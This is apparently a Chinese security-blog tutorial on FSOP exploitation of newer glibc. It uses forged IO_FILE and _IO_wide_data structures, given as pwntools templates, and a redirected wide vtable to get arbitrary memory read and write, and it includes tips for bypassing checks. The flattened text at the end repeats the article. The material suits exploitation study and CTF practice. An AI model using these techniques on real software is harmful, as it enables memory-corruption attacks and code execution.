关于高版本glibc通过IO_FILE的任意地址读写
字数 1235 2025-11-19 12:12:33

高版本glibc通过IO_FILE的任意地址读写技术分析

一、IO_FILE结构概述

1.1 核心结构体定义

_IO_FILE_plus结构体

struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
};

_IO_FILE结构体

struct _IO_FILE {
    int _flags;                    /* 高16位为_IO_MAGIC;其余为标志位 */
    
    /* 以下指针与C++的streambuf协议对应 */
    char *_IO_read_ptr;           /* 当前读取指针 */
    char *_IO_read_end;           /* 获取区结束位置 */
    char *_IO_read_base;          /* 回退+获取区起始位置 */
    char *_IO_write_base;         /* 写入区起始位置 */
    char *_IO_write_ptr;          /* 当前写入指针 */
    char *_IO_write_end;          /* 写入区结束位置 */
    char *_IO_buf_base;           /* 缓冲区起始位置 */
    char *_IO_buf_end;            /* 缓冲区结束位置 */
    
    /* 以下字段用于支持"回退"与"撤销"操作 */
    char *_IO_save_base;          /* 非当前获取区起始指针 */
    char *_IO_backup_base;        /* 备份区中第一个有效字符的指针 */
    char *_IO_save_end;           /* 非当前获取区结束指针 */
    
    struct _IO_marker *_markers;  /* 标记链表 */
    struct _IO_FILE *_chain;      /* 文件链表指针 */
    int _fileno;                  /* 文件描述符 */
    int _flags2;                  /* 扩展标志 */
    __off_t _old_offset;          /* 原_offset字段 */
    
    unsigned short _cur_column;   /* 列号 */
    signed char _vtable_offset;   /* 虚表偏移 */
    char _shortbuf[1];            /* 短缓冲 */
    _IO_lock_t *_lock;            /* 线程锁 */
    
    /* 扩展字段 */
    __off64_t _offset;           /* 64位文件偏移 */
    struct _IO_codecvt *_codecvt; /* 编码转换表 */
    struct _IO_wide_data *_wide_data; /* 宽字符缓冲区 */
    struct _IO_FILE *_freeres_list; /* 空闲链表 */
    void *_freeres_buf;           /* 空闲缓冲 */
    size_t __pad5;                /* 对齐填充 */
    int _mode;                    /* 宽/字节模式 */
    char _unused2[15 * sizeof(int) - 4 * sizeof(void *) - sizeof(size_t)];
};

_IO_jump_t虚表结构

struct _IO_jump_t {
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

_IO_wide_data宽字符数据结构

struct _IO_wide_data {
    wchar_t *_IO_read_ptr;        /* 当前读取指针 */
    wchar_t *_IO_read_end;        /* 获取区域结束位置 */
    wchar_t *_IO_read_base;       /* 回退+获取区域起始位置 */
    wchar_t *_IO_write_base;      /* 写入区域起始位置 */
    wchar_t *_IO_write_ptr;       /* 当前写入指针 */
    wchar_t *_IO_write_end;       /* 写入区域结束位置 */
    wchar_t *_IO_buf_base;        /* 缓冲区起始位置 */
    wchar_t *_IO_buf_end;         /* 缓冲区结束位置 */
    
    wchar_t *_IO_save_base;       /* 非当前获取区域起始指针 */
    wchar_t *_IO_backup_base;     /* 备份区域指针 */
    wchar_t *_IO_save_end;        /* 非当前获取区域结束指针 */
    
    __mbstate_t _IO_state;       /* 当前多字节转换状态 */
    __mbstate_t _IO_last_state;   /* 上次多字节转换状态 */
    struct _IO_codecvt _codecvt;  /* 编码转换相关数据 */
    wchar_t _shortbuf[1];         /* 短缓冲区 */
    const struct _IO_jump_t *_wide_vtable; /* 宽字符虚表指针 */
};

1.2 标准IO_FILE实例分析

stdin结构示例

_IO_2_1_stdin_ = {
    file = {
        _flags = -72540021,
        _IO_read_ptr = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
        _IO_read_end = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
        _IO_read_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
        _IO_write_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
        _IO_write_ptr = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
        _IO_write_end = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
        _IO_buf_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
        _IO_buf_end = 0x75b77e603964 <_IO_2_1_stdin_+132> "",
        ...
        _lock = 0x75b77e605720 <_IO_stdfile_0_lock>,
        _wide_data = 0x75b77e6039c0 <_IO_wide_data_0>,
    },
    vtable = 0x75b77e602030 <_IO_file_jumps>
}

stdout结构示例

_IO_2_1_stdout_ = {
    file = {
        _flags = -72537977,
        _IO_read_ptr = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
        ...
        _chain = 0x75b77e6038e0 <_IO_2_1_stdin_>,
        _fileno = 1,
        _lock = 0x75b77e605710 <_IO_stdfile_1_lock>,
        _wide_data = 0x75b77e6037e0 <_IO_wide_data_1>,
    },
    vtable = 0x75b77e602030 <_IO_file_jumps>
}

二、基础利用技术

2.1 字节覆盖技术

原理分析

  • 通过覆盖stdin的_IO_buf_base最低字节为\x00,使其指向自身的_IO_write_base区域
  • 当大量数据写入时,可以覆盖从该位置到_IO_buf_end的内存区域
  • 通过修改_IO_buf_base_IO_buf_end实现二次任意地址写
  • 需要fgets等函数触发stdin刷新机制

三、任意地址读技术

3.1 利用方法

fif_leak_stack = flat({
    0x00: 0x800 | 0x1000,        # _flags
    0x20: _IO_write_base,         # 要泄露区域的起始地址
    0x28: _IO_write_ptr,          # 要泄露区域的结束地址
    0x68: _chain,                 # _chain
    0x70: _fileno,                # _fileno
    0x88: _lock,                  # _lock 
    0xd8: vtable,                 # vtable
}, filler = b"\x00")

3.2 原理分析

正常_IO_flush_all执行时:

  1. 遍历_IO_list_all链表中的每个IO_FILE
  2. 调用vtable中的overflow函数
  3. _IO_new_file_overflow函数中调用_IO_do_write
  4. 将未输出完的数据输出到指定位置

四、任意地址写技术

4.1 伪造IO_FILE结构

fake_io_to_read = flat({
    0x00: 0,                      # _flags
    0x38: _IO_buf_base,           # _IO_buf_base
    0x40: _IO_buf_end,            # _IO_buf_end
    0x68: _chain,                 # _chain (FSOP关键)
    0x70: 0,                      # _fileno (标准输入)
    0x88: _lock,                  # _lock (不可为0)
    0xa0: _wide_data,             # _wide_data地址
    0xc0: 2,                      # _mode (绕过检查)
    0xd8: vtable,                 # vtable
}, filler = b"\x00")

fake_wide_data = flat({
    0x18: 0,                      # _IO_write_base
    0x20: 0xff,                   # _IO_write_ptr
    0xe0: _wide_vtable,           # 填_IO_file_jumps - 0x48
}, filler = b"\x00")

4.2 核心调用链分析

4.2.1 调用入口:_IO_flush_all

int _IO_flush_all(void) {
    for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) {
        if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
            || (_IO_vtable_offset (fp) == 0
                && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                > fp->_wide_data->_IO_write_base))
            ) && _IO_OVERFLOW (fp, EOF) == EOF) {
            result = EOF;
        }
    }
    return result;
}

4.2.2 宏展开过程

// 宏调用链
_IO_OVERFLOW(FP, CH)

JUMP1(__overflow, FP, CH)

(_IO_JUMPS_FUNC(THIS)->FUNC)(THIS, X1)

// 无offset情况
_IO_JUMPS_FUNC(THIS) = (IO_validate_vtable(_IO_JUMPS_FILE_plus(THIS)))

_IO_JUMPS_FILE_plus(THIS) = _IO_CAST_FIELD_ACCESS((THIS), struct _IO_FILE_plus, vtable)

fp->vtable->__overflow(fp, EOF)

4.2.3 虚表函数定位

正常文件跳转表

[IO_FILE_JUMPS] = {
    JUMP_INIT(overflow, _IO_file_overflow),
    // 其他函数...
}

[IO_WFILE_JUMPS] = {
    JUMP_INIT(overflow, (_IO_overflow_t)_IO_wfile_overflow),
    // 其他函数...
}

4.2.4 关键函数:_IO_wfile_overflow

wint_t _IO_wfile_overflow(FILE *f, wint_t wch) {
    if (f->_wide_data->_IO_write_base == 0) {
        _IO_wdoallocbuf(f);  // 关键调用点
        // ...
    }
    // ...
}

4.2.5 内存分配函数:_IO_wdoallocbuf

void _IO_wdoallocbuf(FILE *fp) {
    if (fp->_wide_data->_IO_buf_base) return;
    if (!(fp->_flags & _IO_UNBUFFERED))
        if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF) return;
    _IO_wsetb(fp, fp->_wide_data->_shortbuf, 
              fp->_wide_data->_shortbuf + 1, 0);
}

4.2.6 宽字符虚表调用

#define _IO_WDOALLOCATE(FP) WJUMP0(__doallocate, FP)
#define _IO_WIDE_JUMPS(THIS) \
    _IO_CAST_FIELD_ACCESS((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

4.3 技术关键点

  1. 虚表替换:将fp->vtable改为_IO_wfile_jumps地址
  2. 宽虚表控制:将fp->_wide_data->_wide_vtable设为_IO_file_jumps - 0x48
  3. 函数重定向:使_IO_WDOALLOCATE调用_IO_new_file_underflow而非原本函数
  4. 条件绕过:利用宽字符相关条件绕过第一个检查条件

4.4 完整攻击调用链

_IO_flush_all
↓
_IO_OVERFLOW (由于修改vtable指向_IO_wfile_jumps)
↓
_IO_wfile_overflow
↓
_IO_wdoallocbuf
↓
_IO_WDOALLOCATE (由于修改_wide_vtable指向_IO_file_jumps-0x48)
↓
_IO_new_file_underflow (实际执行)
↓
_IO_SYSREAD (实现任意地址读写)

五、技术要点总结

5.1 必要条件

  1. 能够控制IO_FILE结构内容
  2. 能够触发_IO_flush_all调用(如程序退出时)
  3. 了解目标系统的glibc版本和内存布局

5.2 关键偏移量

  • __doallocate在虚表中的偏移:0x68
  • _IO_file_jumps_IO_wfile_jumps的相对位置
  • 各个结构体字段的精确偏移

5.3 防御绕过技巧

  1. 使用_wide_data相关条件绕过常规检查
  2. 合理设置_mode字段绕过模式检查
  3. 确保_lock指针有效避免崩溃

该技术通过精心构造IO_FILE结构,利用glibc中文件操作的虚表机制,实现了在高版本glibc下的任意地址读写能力,是FSOP攻击技术的重要发展。

高版本glibc通过IO_ FILE的任意地址读写技术分析 一、IO_ FILE结构概述 1.1 核心结构体定义 \_IO\_FILE\_plus结构体 \_IO\_FILE结构体 \_IO\_jump\_t虚表结构 \_IO\_wide\_data宽字符数据结构 1.2 标准IO_ FILE实例分析 stdin结构示例 stdout结构示例 二、基础利用技术 2.1 字节覆盖技术 原理分析 通过覆盖stdin的 _IO_buf_base 最低字节为 \x00 ,使其指向自身的 _IO_write_base 区域 当大量数据写入时,可以覆盖从该位置到 _IO_buf_end 的内存区域 通过修改 _IO_buf_base 和 _IO_buf_end 实现二次任意地址写 需要fgets等函数触发stdin刷新机制 三、任意地址读技术 3.1 利用方法 3.2 原理分析 正常 _IO_flush_all 执行时: 遍历 _IO_list_all 链表中的每个IO_ FILE 调用vtable中的 overflow 函数 在 _IO_new_file_overflow 函数中调用 _IO_do_write 将未输出完的数据输出到指定位置 四、任意地址写技术 4.1 伪造IO_ FILE结构 4.2 核心调用链分析 4.2.1 调用入口:_ IO_ flush_ all 4.2.2 宏展开过程 4.2.3 虚表函数定位 正常文件跳转表 4.2.4 关键函数:_ IO_ wfile_ overflow 4.2.5 内存分配函数:_ IO_ wdoallocbuf 4.2.6 宽字符虚表调用 4.3 技术关键点 虚表替换 :将 fp->vtable 改为 _IO_wfile_jumps 地址 宽虚表控制 :将 fp->_wide_data->_wide_vtable 设为 _IO_file_jumps - 0x48 函数重定向 :使 _IO_WDOALLOCATE 调用 _IO_new_file_underflow 而非原本函数 条件绕过 :利用宽字符相关条件绕过第一个检查条件 4.4 完整攻击调用链 五、技术要点总结 5.1 必要条件 能够控制IO_ FILE结构内容 能够触发 _IO_flush_all 调用(如程序退出时) 了解目标系统的glibc版本和内存布局 5.2 关键偏移量 __doallocate 在虚表中的偏移:0x68 _IO_file_jumps 与 _IO_wfile_jumps 的相对位置 各个结构体字段的精确偏移 5.3 防御绕过技巧 使用 _wide_data 相关条件绕过常规检查 合理设置 _mode 字段绕过模式检查 确保 _lock 指针有效避免崩溃 该技术通过精心构造IO_ FILE结构,利用glibc中文件操作的虚表机制,实现了在高版本glibc下的任意地址读写能力,是FSOP攻击技术的重要发展。